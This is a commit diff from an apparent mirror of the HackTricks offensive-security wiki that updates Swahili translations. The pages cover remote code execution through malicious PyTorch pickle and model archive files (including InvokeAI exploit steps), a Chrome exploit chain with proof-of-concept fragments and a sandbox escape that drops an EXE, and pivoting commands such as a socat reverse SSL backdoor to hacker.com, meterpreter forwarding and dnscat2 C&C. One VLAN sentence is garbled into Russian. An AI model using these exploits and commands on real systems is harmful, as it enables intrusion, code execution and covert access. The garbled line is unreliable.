mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
9183d7910c
commit
55cf1fdacd
@ -23,7 +23,7 @@ Wakati wa kuandika, haya ni baadhi ya mifano ya aina hii ya udhaifu:
|
||||
| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | Malicious HDF5 (`.h5`) model with Lambda layer code still executes on load (Keras safe_mode doesn’t cover old format – “downgrade attack”) | |
|
||||
| **Others** (general) | *Design flaw* – Pickle serialization | Many ML tools (e.g., pickle-based model formats, Python `pickle.load`) will execute arbitrary code embedded in model files unless mitigated | |
|
||||
|
||||
Zaidi ya hayo, kuna baadhi ya modeli za python pickle kama zile zinazotumiwa na [PyTorch](https://github.com/pytorch/pytorch/security) ambazo zinaweza kutumika kutekeleza msimbo wa kiholela kwenye mfumo ikiwa hazijapakiwa na `weights_only=True`. Hivyo, modeli yoyote inayotegemea pickle inaweza kuwa na hatari maalum kwa aina hii ya mashambulizi, hata kama hazijatajwa kwenye jedwali hapo juu.
|
||||
Zaidi ya hayo, kuna baadhi ya modeli zinazotegemea python pickle kama zile zinazotumiwa na [PyTorch](https://github.com/pytorch/pytorch/security) ambazo zinaweza kutumika kutekeleza msimbo wa kiholela kwenye mfumo ikiwa hazijapakiwa na `weights_only=True`. Hivyo, modeli yoyote inayotegemea pickle inaweza kuwa na hatari maalum kwa aina hii ya mashambulizi, hata kama hazijatajwa kwenye jedwali hapo juu.
|
||||
|
||||
### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029)
|
||||
|
||||
@ -33,7 +33,7 @@ Ndani, mwisho huu hatimaye unaita:
|
||||
```python
|
||||
checkpoint = torch.load(path, map_location=torch.device("meta"))
|
||||
```
|
||||
Wakati faili iliyotolewa ni **PyTorch checkpoint (`*.ckpt`)**, `torch.load` inafanya **pickle deserialization**. Kwa sababu maudhui yanatoka moja kwa moja kwenye URL inayodhibitiwa na mtumiaji, mshambuliaji anaweza kuingiza kitu kibaya chenye njia ya `__reduce__` iliyobinafsishwa ndani ya checkpoint; njia hiyo inatekelezwa **wakati wa deserialization**, ikisababisha **remote code execution (RCE)** kwenye seva ya InvokeAI.
|
||||
Wakati faili iliyopewa ni **PyTorch checkpoint (`*.ckpt`)**, `torch.load` inafanya **pickle deserialization**. Kwa sababu maudhui yanatoka moja kwa moja kwenye URL inayodhibitiwa na mtumiaji, mshambuliaji anaweza kuingiza kitu kibaya chenye njia ya `__reduce__` iliyobinafsishwa ndani ya checkpoint; njia hiyo inatekelezwa **wakati wa deserialization**, ikisababisha **remote code execution (RCE)** kwenye seva ya InvokeAI.
|
||||
|
||||
Uthibitisho wa udhaifu ulipatiwa **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %).
|
||||
|
||||
@ -67,9 +67,9 @@ json={}, # body can be empty
|
||||
timeout=5,
|
||||
)
|
||||
```
|
||||
4. Wakati InvokeAI inaposhusha faili inaita `torch.load()` → gadget ya `os.system` inakimbia na mshambuliaji anapata utekelezaji wa msimbo katika muktadha wa mchakato wa InvokeAI.
|
||||
4. Wakati InvokeAI inapopakua faili inaita `torch.load()` → gadget ya `os.system` inakimbia na mshambuliaji anapata utekelezaji wa msimbo katika muktadha wa mchakato wa InvokeAI.
|
||||
|
||||
Exploit iliyotengenezwa tayari: **Metasploit** moduli `exploit/linux/http/invokeai_rce_cve_2024_12029` inaweka mchakato mzima kuwa otomatiki.
|
||||
Ready-made exploit: **Metasploit** module `exploit/linux/http/invokeai_rce_cve_2024_12029` inafanya mchakato mzima kuwa wa kiotomatiki.
|
||||
|
||||
#### Masharti
|
||||
|
||||
@ -81,9 +81,9 @@ Exploit iliyotengenezwa tayari: **Metasploit** moduli `exploit/linux/http/invoke
|
||||
|
||||
* Pandisha hadi **InvokeAI ≥ 5.4.3** – patch inafanya `scan=True` kuwa ya kawaida na inafanya uchunguzi wa malware kabla ya deserialization.
|
||||
* Wakati wa kupakia checkpoints kwa njia ya programu tumia `torch.load(file, weights_only=True)` au [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) msaidizi mpya.
|
||||
* Lazimisha orodha za ruhusa / saini za vyanzo vya modeli na endesha huduma hiyo kwa ruhusa ndogo.
|
||||
* Lazimisha orodha za ruhusa / saini za vyanzo vya modeli na uendeshe huduma hiyo kwa ruhusa ndogo.
|
||||
|
||||
> ⚠️ Kumbuka kwamba **aina yoyote** ya muundo wa pickle wa Python (ikiwemo faili nyingi za `.pt`, `.pkl`, `.ckpt`, `.pth`) kwa asili si salama kutekeleza kutoka vyanzo visivyoaminika.
|
||||
> ⚠️ Kumbuka kwamba **aina yoyote** ya muundo wa Python pickle (ikiwemo faili nyingi za `.pt`, `.pkl`, `.ckpt`, `.pth`) kwa asili si salama kutekeleza deserialization kutoka vyanzo visivyoaminika.
|
||||
|
||||
---
|
||||
|
||||
@ -133,7 +133,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
```
|
||||
## Models to Path Traversal
|
||||
|
||||
Kama ilivyoelezwa katika [**hiki blogu**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), muundo wa modeli nyingi zinazotumiwa na mifumo tofauti ya AI unategemea archives, mara nyingi `.zip`. Hivyo, inaweza kuwa inawezekana kutumia muundo huu kufanya mashambulizi ya path traversal, kuruhusu kusoma faili za kawaida kutoka kwa mfumo ambapo modeli imepakuliwa.
|
||||
Kama ilivyoelezwa katika [**hiki blogu**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), muundo wa modeli nyingi zinazotumiwa na mifumo tofauti ya AI unategemea archives, mara nyingi `.zip`. Hivyo, inaweza kuwa inawezekana kutumia muundo huu kufanya mashambulizi ya path traversal, kuruhusu kusoma faili zisizo na mipaka kutoka kwenye mfumo ambapo modeli imepakuliwa.
|
||||
|
||||
Kwa mfano, kwa kutumia msimbo ufuatao unaweza kuunda modeli ambayo itaunda faili katika saraka ya `/tmp` wakati inapo pakuliwa:
|
||||
```python
|
||||
@ -161,7 +161,7 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf:
|
||||
tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it)
|
||||
tf.add(PAYLOAD) # rides the symlink
|
||||
```
|
||||
## References
|
||||
## Marejeo
|
||||
|
||||
- [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/)
|
||||
- [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e)
|
||||
|
||||
@ -3,9 +3,9 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> Ukurasa huu unatoa muonekano wa juu lakini **practical** wa mchakato wa kisasa wa "full-chain" exploitation dhidi ya Google Chrome 130 kulingana na mfululizo wa utafiti **“101 Chrome Exploitation”** (Sehemu-0 — Utangulizi).
|
||||
> Lengo ni kuwapa pentesters na waendelezaji wa exploit msingi wa chini unaohitajika ili kuweza kuiga au kubadilisha mbinu hizo kwa utafiti wao wenyewe.
|
||||
> Lengo ni kuwapa pentesters na waendelezaji wa exploit msingi wa chini unaohitajika ili kuweza kuzalisha au kubadilisha mbinu hizo kwa ajili ya utafiti wao wenyewe.
|
||||
|
||||
## 1. Chrome Architecture Recap
|
||||
## 1. Muhtasari wa Muktadha wa Chrome
|
||||
Kuelewa uso wa shambulio kunahitaji kujua wapi msimbo unatekelezwa na ni sanduku gani zinazotumika.
|
||||
```
|
||||
+-------------------------------------------------------------------------+
|
||||
@ -29,11 +29,11 @@ Kuelewa uso wa shambulio kunahitaji kujua wapi msimbo unatekelezwa na ni sanduku
|
||||
```
|
||||
Layered defence-in-depth:
|
||||
|
||||
* **V8 sandbox** (Isolate): ruhusa za kumbukumbu zimepunguzika ili kuzuia kusoma/kandika bila mpangilio kutoka JITed JS / Wasm.
|
||||
* **V8 sandbox** (Isolate): ruhusa za kumbukumbu zimepunguziliwa ili kuzuia kusoma/kandika bila mpangilio kutoka JITed JS / Wasm.
|
||||
* **Renderer ↔ Browser split** inahakikisha kupitia **Mojo/IPC** ujumbe wa kupitisha; renderer haina *ufikiaji wa asili wa FS/mtandao*.
|
||||
* **OS sandboxes** zinashughulikia kila mchakato zaidi (Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles).
|
||||
|
||||
Mshambuliaji *wa mbali* kwa hivyo anahitaji **misingi mitatu** mfululizo:
|
||||
Mshambuliaji *wa mbali* kwa hivyo anahitaji **misingi mitatu** ya mfululizo:
|
||||
|
||||
1. Uharibifu wa kumbukumbu ndani ya V8 ili kupata **RW bila mpangilio ndani ya V8 heap**.
|
||||
2. Kosa la pili linalomruhusu mshambuliaji **kutoroka sandbox ya V8 hadi kumbukumbu kamili ya renderer**.
|
||||
@ -43,10 +43,10 @@ Mshambuliaji *wa mbali* kwa hivyo anahitaji **misingi mitatu** mfululizo:
|
||||
|
||||
## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
|
||||
|
||||
Kosa katika TurboFan’s **Turboshaft** optimization linakosea kuainisha **WasmGC reference types** wakati thamani inazalishwa na kutumiwa ndani ya *kipande kimoja cha msingi cha mzunguko*.
|
||||
Kosa katika TurboFan’s **Turboshaft** optimization linakosea kuainisha **aina za marejeo ya WasmGC** wakati thamani inazalishwa na kutumiwa ndani ya *kipande kimoja cha msingi cha mzunguko*.
|
||||
|
||||
Athari:
|
||||
* Mwandiko wa programu **anapuuza ukaguzi wa aina**, akichukulia *rejea* (`externref/anyref`) kama *int64*.
|
||||
* Mwandiko wa programu **anapuuza ukaguzi wa aina**, akichukulia *marejeo* (`externref/anyref`) kama *int64*.
|
||||
* Wasm iliyoundwa inaruhusu kuingiliana kwa kichwa cha kitu cha JS na data inayodhibitiwa na mshambuliaji → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AAR primitives**.
|
||||
|
||||
Minimal PoC (excerpt):
|
||||
@ -78,7 +78,7 @@ let victim = {m: 13.37};
|
||||
let fake = arbitrary_data_backed_typedarray;
|
||||
let addrVict = addrOf(victim);
|
||||
```
|
||||
Matokeo: **kusoma/kandika bila mipaka ndani ya V8**.
|
||||
Matokeo: **kusoma/kandika bila mpangilio ndani ya V8**.
|
||||
|
||||
---
|
||||
|
||||
@ -88,8 +88,8 @@ Wakati kazi ya Wasm inapoandikwa kwa kiwango cha juu, **JS ↔ Wasm wrapper** in
|
||||
|
||||
Kufuta maeneo 2 × 64-bit ya kitu cha `Tuple2` kunatoa **kusoma/kandika kwenye anwani yoyote ndani ya mchakato wa Renderer**, kwa ufanisi kuzunguka V8 sandbox.
|
||||
|
||||
Hatua muhimu katika kuendeleza:
|
||||
1. Pata kazi katika hali ya **Tier-Up** kwa kubadilisha kati ya turbofan/msingi wa kanuni.
|
||||
Hatua muhimu katika uhamasishaji:
|
||||
1. Pata kazi katika hali ya **Tier-Up** kwa kubadilisha kati ya turbofan/kodi ya msingi.
|
||||
2. Chochea tier-up huku ukihifadhi rejeleo kwenye stack (`Function.prototype.apply`).
|
||||
3. Tumia Hatua-1 AAR/AAW kupata na kuharibu `Tuple2` iliyo karibu.
|
||||
|
||||
@ -107,11 +107,11 @@ Baada ya ufisadi tunapata **renderer R/W primitive** yenye vipengele vyote.
|
||||
|
||||
## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
|
||||
|
||||
Kiolesura cha IPC cha **Mojo** `blink.mojom.DragService.startDragging()` kinaweza kuitwa kutoka kwa Renderer kwa *vigezo vya kuaminika kwa sehemu*. Kwa kutunga muundo wa `DragData` unaoelekeza kwenye **njia ya faili isiyo na mipaka**, renderer inamshawishi kivinjari kufanya *kuvuta na kuacha* **nje ya sandbox ya renderer**.
|
||||
Kiolesura cha **Mojo** IPC `blink.mojom.DragService.startDragging()` kinaweza kuitwa kutoka kwa Renderer kwa *vigezo vya kuaminika kidogo*. Kwa kutunga muundo wa `DragData` unaoelekeza kwenye **njia ya faili isiyo na mipaka** renderer inamshawishi kivinjari kufanya *drag-and-drop* **nje ya sandbox ya renderer**.
|
||||
|
||||
Kwa kutumia hii tunaweza kwa programu “kuvuta” EXE mbaya (iliyowekwa awali katika eneo linaloweza kuandikwa na ulimwengu) kwenye Desktop, ambapo Windows kiotomatiki inatekeleza aina fulani za faili mara tu zinapokuwa zimeachwa.
|
||||
Kwa kutumia hii tunaweza kwa programu “kuvuta” EXE mbaya (iliyowekwa awali katika eneo linaloweza kuandikwa na ulimwengu) kwenye Desktop, ambapo Windows kiotomatiki inatekeleza aina fulani za faili mara tu zinaposhushwa.
|
||||
|
||||
Mfano (uliopunguzika):
|
||||
Mfano (uliopunguzia):
|
||||
```js
|
||||
const payloadPath = "C:\\Users\\Public\\explorer.exe";
|
||||
|
||||
@ -124,11 +124,11 @@ mime_type: "application/x-msdownload"
|
||||
}
|
||||
});
|
||||
```
|
||||
Hakuna uharibifu wa ziada wa kumbukumbu unaohitajika – **dosari ya mantiki** inatupa utekelezaji wa faili bila kikomo kwa ruhusa za mtumiaji.
|
||||
Hakuna uharibifu wa ziada wa kumbukumbu unaohitajika – **kasoro ya mantiki** inatupa utekelezaji wa faili bila kikomo kwa ruhusa za mtumiaji.
|
||||
|
||||
---
|
||||
|
||||
## 5. Mchakato Kamili
|
||||
## 5. Mchakato Kamili wa Mnyororo
|
||||
|
||||
1. **Mtumiaji anatembelea** ukurasa wa wavuti mbaya.
|
||||
2. **Hatua ya 1**: Moduli ya Wasm inatumia CVE-2025-0291 → V8 heap AAR/AAW.
|
||||
@ -150,7 +150,7 @@ http-server -p 8000 -c -1
|
||||
# Windows kernel debugging
|
||||
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
|
||||
```
|
||||
Lipu muhimu unapotengeneza *development* build ya Chrome:
|
||||
Bendera muhimu unapotengeneza *development* build ya Chrome:
|
||||
```bash
|
||||
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
|
||||
```
|
||||
@ -158,8 +158,8 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
|
||||
|
||||
## Takeaways
|
||||
|
||||
* **WebAssembly JIT bugs** zinabaki kuwa njia ya kuingia inayotegemewa – mfumo wa aina bado ni mchanga.
|
||||
* Kupata bug ya pili ya kuharibika kwa kumbukumbu ndani ya V8 (mfano: wrapper mismatch) inarahisisha sana **V8-sandbox escape**.
|
||||
* **WebAssembly JIT bugs** zinabaki kuwa njia ya kuaminika ya kuingia – mfumo wa aina bado ni mchanga.
|
||||
* Kupata bug ya pili ya kuharibika kwa kumbukumbu ndani ya V8 (mfano, wrapper mismatch) inarahisisha sana **V8-sandbox escape**.
|
||||
* Ukatili wa kiwango cha mantiki katika interfaces za Mojo IPC zenye mamlaka mara nyingi unatosha kwa **final sandbox escape** – angalia *non-memory* bugs.
|
||||
|
||||
|
||||
|
||||
@ -33,7 +33,7 @@ ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
||||
```
|
||||
### Local Port2Port
|
||||
|
||||
Fungua Bandari Mpya kwenye SSH Server --> Bandari Nyingine
|
||||
Fungua Port mpya kwenye SSH Server --> Port nyingine
|
||||
```bash
|
||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||
```
|
||||
@ -43,7 +43,7 @@ ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in
|
||||
```
|
||||
### Port2Port
|
||||
|
||||
Local port --> Compromised host (SSH) --> Third_box:Port
|
||||
Porti za ndani --> Kituo kilichoshambuliwa (SSH) --> Sanduku_tatu:Port
|
||||
```bash
|
||||
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
|
||||
#Example
|
||||
@ -51,7 +51,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||
```
|
||||
### Port2hostnet (proxychains)
|
||||
|
||||
Porti za ndani --> Kituo kilichovunjwa (SSH) --> Popote
|
||||
Local Port --> Compromised host (SSH) --> Popote
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
@ -89,17 +89,17 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Usalama – Shambulio la Terrapin (CVE-2023-48795)**
|
||||
> Shambulio la kupunguza Terrapin la mwaka 2023 linaweza kumruhusu mtu katikati kuingilia kati mkutano wa awali wa SSH na kuingiza data katika **kitu chochote kilichosambazwa** ( `-L`, `-R`, `-D` ). Hakikisha mteja na seva zote zimepatishwa (**OpenSSH ≥ 9.6/LibreSSH 6.7**) au wazi wazi zima algorithimu hatarishi `chacha20-poly1305@openssh.com` na `*-etm@openssh.com` katika `sshd_config`/`ssh_config` kabla ya kutegemea SSH tunnels.
|
||||
> Shambulio la kupunguza Terrapin la mwaka 2023 linaweza kumruhusu mtu katikati kuingilia kati mkutano wa awali wa SSH na kuingiza data katika **kila channel iliyosambazwa** ( `-L`, `-R`, `-D` ). Hakikisha mteja na seva zote zimepatishwa (**OpenSSH ≥ 9.6/LibreSSH 6.7**) au wazi wazi zima algorithimu hatarishi `chacha20-poly1305@openssh.com` na `*-etm@openssh.com` katika `sshd_config`/`ssh_config` kabla ya kutegemea SSH tunnels.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
Unaweza **kufanya tunneling** kupitia **ssh** kwa ajili ya **trafiki** yote kwenda kwenye **subnetwork** kupitia mwenyeji.\
|
||||
Unaweza **kufanya tunneling** kupitia **ssh** kwa ajili ya **trafiki** yote kwenda **subnetwork** kupitia mwenyeji.\
|
||||
Kwa mfano, kusambaza trafiki yote inayokwenda 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
```
|
||||
Unganisha na ufunguo wa kibinafsi
|
||||
Unganisha kwa kutumia ufunguo wa kibinafsi
|
||||
```bash
|
||||
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||
# -D : Daemon mode
|
||||
@ -108,7 +108,7 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
|
||||
|
||||
### Port2Port
|
||||
|
||||
Porti za ndani --> Kituo kilichovunjwa (kipindi kinachofanya kazi) --> Sanduku_tatu:Port
|
||||
Porti za ndani --> Kituo kilichovunjwa (kipindi cha kazi) --> Sanduku_tatu:Port
|
||||
```bash
|
||||
# Inside a meterpreter session
|
||||
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
|
||||
@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS proxy
|
||||
|
||||
Fungua bandari katika teamserver inayosikiliza kwenye interfaces zote ambazo zinaweza kutumika **kuelekeza trafiki kupitia beacon**.
|
||||
Fungua bandari katika server ya timu inayosikiliza kwenye interfaces zote ambazo zinaweza kutumika **kuelekeza trafiki kupitia beacon**.
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -154,7 +154,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
To note:
|
||||
Ili kuzingatia:
|
||||
|
||||
- Reverse port forward ya Beacon imeundwa ili **kufanya tunnel trafiki kwa Team Server, sio kwa kuhamasisha kati ya mashine binafsi**.
|
||||
- Trafiki **inafanywa tunnel ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P.
|
||||
@ -223,7 +223,7 @@ interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_age
|
||||
# Display the tun interfaces -- Attacker
|
||||
interface_list
|
||||
```
|
||||
### Ufunguo wa Wakala na Kusikiliza
|
||||
### Kuweka na Kusikiliza
|
||||
```bash
|
||||
# Establish a tunnel from the proxy server to the agent
|
||||
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
|
||||
@ -290,10 +290,12 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Unaweza kupita **proxy isiyo na uthibitisho** ukitekeleza mstari huu badala ya wa mwisho kwenye konso ya mwathirika:
|
||||
Unaweza kupita **proxy isiyo na uthibitisho** ukitekeleza mstari huu badala ya wa mwisho katika konso ya mwathirika:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh console**
|
||||
@ -324,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
Ni kama toleo la console la PuTTY (chaguzi ni sawa na mteja wa ssh).
|
||||
|
||||
Kwa kuwa hii binary itatekelezwa kwenye mwathirika na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na muunganisho wa kurudi. Kisha, ili kuhamasisha bandari inayopatikana tu kwa ndani kwa bandari kwenye mashine yetu:
|
||||
Kwa kuwa hii binary itatekelezwa kwenye mwathirika na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na muunganisho wa kurudi. Kisha, ili kupeleka tu bandari inayoweza kufikiwa ndani kwa bandari kwenye mashine yetu:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -356,13 +358,13 @@ Katika kompyuta yako ya mteja, pakia **`SocksOverRDP-Plugin.dll`** kama ifuatavy
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Sasa tunaweza **kuunganisha** na **mhasiriwa** kupitia **RDP** kwa kutumia **`mstsc.exe`**, na tunapaswa kupokea **kiashiria** kinachosema kwamba **SocksOverRDP plugin imewezeshwa**, na itakuwa **inaskiliza** kwenye **127.0.0.1:1080**.
|
||||
Sasa tunaweza **kuunganisha** na **mhasiriwa** kupitia **RDP** kwa kutumia **`mstsc.exe`**, na tunapaswa kupokea **kipeperushi** kinachosema kwamba **SocksOverRDP plugin imewezeshwa**, na itakuwa **inaskiliza** kwenye **127.0.0.1:1080**.
|
||||
|
||||
**Unganisha** kupitia **RDP** na pakia & tekeleza kwenye mashine ya mhasiriwa `SocksOverRDP-Server.exe` binary:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
Sasa, thibitisha katika mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza:
|
||||
Sasa, thibitisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
@ -421,7 +423,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
|
||||
[**Download it from here**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Inaunda channel ya C\&C kupitia DNS. Haihitaji ruhusa za mzizi.
|
||||
Inaunda channel ya C\&C kupitia DNS. Haitaji ruhusa za mzizi.
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
@ -444,7 +446,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Badilisha DNS ya proxychains
|
||||
|
||||
Proxychains inakamata `gethostbyname` libc call na inatunga ombi la tcp DNS kupitia socks proxy. Kwa **kawaida** seva ya **DNS** ambayo proxychains inatumia ni **4.2.2.2** (imeandikwa kwa nguvu). Ili kuibadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika **mazingira ya Windows** unaweza kuweka IP ya **meneja wa kikoa**.
|
||||
Proxychains inakamata `gethostbyname` libc call na inatunga ombi la tcp DNS kupitia socks proxy. Kwa **kawaida** seva ya **DNS** ambayo proxychains inatumia ni **4.2.2.2** (imeandikwa kwa nguvu). Ili kuibadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na badilisha IP. Ikiwa uko katika **mazingira ya Windows** unaweza kuweka IP ya **meneja wa kikoa**.
|
||||
|
||||
## Tunnels katika Go
|
||||
|
||||
@ -486,7 +488,7 @@ _Exposition URI ni kama:_ **UID.ngrok.io**
|
||||
|
||||
### Installation
|
||||
|
||||
- Tengeneza akaunti: https://ngrok.com/signup
|
||||
- Unda akaunti: https://ngrok.com/signup
|
||||
- Pakua mteja:
|
||||
```bash
|
||||
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
||||
@ -508,7 +510,7 @@ _Pia inawezekana kuongeza uthibitisho na TLS, ikiwa ni lazima._
|
||||
# Listen (example): nc -nvlp 4444
|
||||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||||
```
|
||||
#### Kuweka wazi faili kwa HTTP
|
||||
#### Kuonyesha faili kwa HTTP
|
||||
```bash
|
||||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
@ -576,7 +578,7 @@ Kwa sababu trafiki yote inatoka kwenye mwenyeji **nje kupitia 443**, Cloudflared
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) ni reverse-proxy ya Go inayosimamiwa kwa ufanisi ambayo inasaidia **TCP, UDP, HTTP/S, SOCKS na P2P NAT-hole-punching**. Kuanzia na **v0.53.0 (Mei 2024)** inaweza kutenda kama **SSH Tunnel Gateway**, hivyo mwenyeji wa lengo anaweza kuanzisha tunnel ya kurudi kwa kutumia tu mteja wa kawaida wa OpenSSH – hakuna binary ya ziada inahitajika.
|
||||
[`frp`](https://github.com/fatedier/frp) ni reverse-proxy ya Go inayoshughulikiwa kwa ufanisi ambayo inasaidia **TCP, UDP, HTTP/S, SOCKS na P2P NAT-hole-punching**. Kuanzia na **v0.53.0 (Mei 2024)** inaweza kutenda kama **SSH Tunnel Gateway**, hivyo mwenyeji wa lengo anaweza kuanzisha tunnel ya kurudi kwa kutumia tu mteja wa kawaida wa OpenSSH – hakuna binary ya ziada inahitajika.
|
||||
|
||||
### Classic reverse TCP tunnel
|
||||
```bash
|
||||
@ -606,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
Amri hapo juu inachapisha bandari ya mwathirika **8080** kama **attacker_ip:9000** bila kupeleka zana za ziada – bora kwa pivoting ya kuishi kwenye ardhi.
|
||||
Amri iliyotajwa hapo juu inachapisha bandari ya mwathirika **8080** kama **attacker_ip:9000** bila kupeleka zana za ziada – bora kwa pivoting ya kuishi kwenye ardhi.
|
||||
|
||||
## Tunnels za Siri za VM kwa kutumia QEMU
|
||||
|
||||
|
||||
@ -20,9 +20,9 @@ SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Kuhamisha kwenye hali ya trunk kutasababisha usumbufu wa muda katika muunganisho, lakini hii inaweza kurejeshwa baadaye.
|
||||
K переключению в режим trunk временно прервёт подключение, но это можно восстановить впоследствии.
|
||||
|
||||
Mikondo ya virtual kisha inaundwa, inatolewa vitambulisho vya VLAN, na kuanzishwa:
|
||||
Kisha, interfaces za virtual zinaundwa, zinapewa VLAN IDs, na kuanzishwa:
|
||||
```bash
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
@ -44,7 +44,7 @@ Mfano wa kuweka anwani ya IP ya kudumu kwenye kiunganishi (VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Connectivity inajaribiwa kwa kuanzisha ombi la ICMP kwa lango la kawaida la VLANs 10, 20, 50, na 60.
|
||||
Connectivity inajaribiwa kwa kuanzisha maombi ya ICMP kwa milango ya kawaida ya VLANs 10, 20, 50, na 60.
|
||||
|
||||
